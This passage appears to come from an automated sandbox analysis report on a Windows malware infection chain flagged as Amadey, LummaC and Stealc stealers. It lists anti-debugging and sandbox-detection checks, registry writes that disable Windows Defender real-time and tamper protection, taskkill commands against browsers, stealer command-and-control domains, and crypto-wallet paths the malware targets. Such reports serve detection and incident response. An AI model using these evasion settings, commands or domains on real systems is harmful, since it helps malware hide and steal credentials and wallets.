Source: firefox.exe, 0000001B.00000002.2734125620.000001C166828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllIo
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareA
Source: num.exe, 0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware]
Source: firefox.exe, 0000001E.00000002.2722821711.0000015475E5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: firefox.exe, 0000001B.00000002.2734125620.000001C1667E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp*
Source: firefox.exe, 00000020.00000002.2728564552.000002B797690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
Source: file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2557705533.0000000000732000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2734125620.000001C166828000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001C.00000002.2611179744.000000000165D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2722821711.0000015475E5A000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2692045054.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2720880731.000002B796EAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1171a5b648.exe, 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001B.00000002.2734125620.000001C16681A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0dA`
Source: firefox.exe, 0000001B.00000002.2736994657.000001C1704A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2728330869.0000015476212000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: num.exe, 0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx4f
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmp, EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe, 00000003.00000002.1919530236.000000000064E000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000004.00000002.1947813120.000000000065E000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000007.00000002.1951021674.000000000065E000.00000040.00000001.01000000.0000000C.sdmp, 1171a5b648.exe, 0000000A.00000002.2530987485.0000000000561000.00000040.00000001.01000000.0000000F.sdmp, 1171a5b648.exe, 0000001F.00000002.2686101939.0000000000561000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001B.00000002.2734125620.000001C166828000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2730011672.0000015476640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000020.00000002.2728564552.000002B797690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Code function: 2_2_003265B9 rdtsc

2_2_003265B9

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Code function: 2_2_0019B7C6 LdrInitializeThunk,

2_2_0019B7C6

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 1171a5b648.exe PID: 2032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1171a5b648.exe PID: 2148, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1653925235.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe "C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe "C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe "C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002779001\num.exe "C:\Users\user\AppData\Local\Temp\1002779001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 275df0ca27.exe, 0000000C.00000002.2617209511.0000000000AF2000.00000002.00000001.01000000.00000010.sdmp, 275df0ca27.exe, 00000021.00000000.2706701885.0000000000AF2000.00000002.00000001.01000000.00000010.sdmp, 275df0ca27.exe.8.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: firefox.exe, 0000001B.00000002.2723552985.0000000A4CC8B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: skotes.exe, skotes.exe, 00000007.00000002.1951021674.000000000065E000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: PsProgram Manager
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: hProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002779001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002779001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1742914022.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2537112071.0000000005271000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2556881049.0000000005277000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2557871545.0000000005279000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2717293558.00000000010C9000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2698690001.00000000010D6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.skotes.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1946832633.0000000000471000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1919373929.0000000000461000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1950487972.0000000000471000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2318263241.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1908505186.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1906133835.0000000005240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1878822213.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000C.00000003.2607023655.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 275df0ca27.exe PID: 2312, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 6cadd3f0fd.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cadd3f0fd.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7492, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 28.2.num.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.1171a5b648.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.num.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1171a5b648.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2529289944.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2604298529.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2531875867.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2588138718.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2488093515.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2604161455.0000000000E81000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2588009468.0000000000E81000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2632031246.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2685024844.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1171a5b648.exe PID: 2032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1171a5b648.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1710352481.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["*"],"z":"Wallets/Electrum-LTC","d":0,"fs":2097
Source: file.exe, 00000000.00000003.1710352481.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t":0,"p":"%appdata%\\ElectronCash\\wallets","m":
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: 6cadd3f0fd.exe, 0000000D.00000003.2629694606.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 6cadd3f0fd.exe, 0000000D.00000003.2585953036.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus",
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1710352481.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\Ethereum","m":["keystore"],"z":"Wallets/Ethe
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: 6cadd3f0fd.exe, 0000000D.00000003.2585953036.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

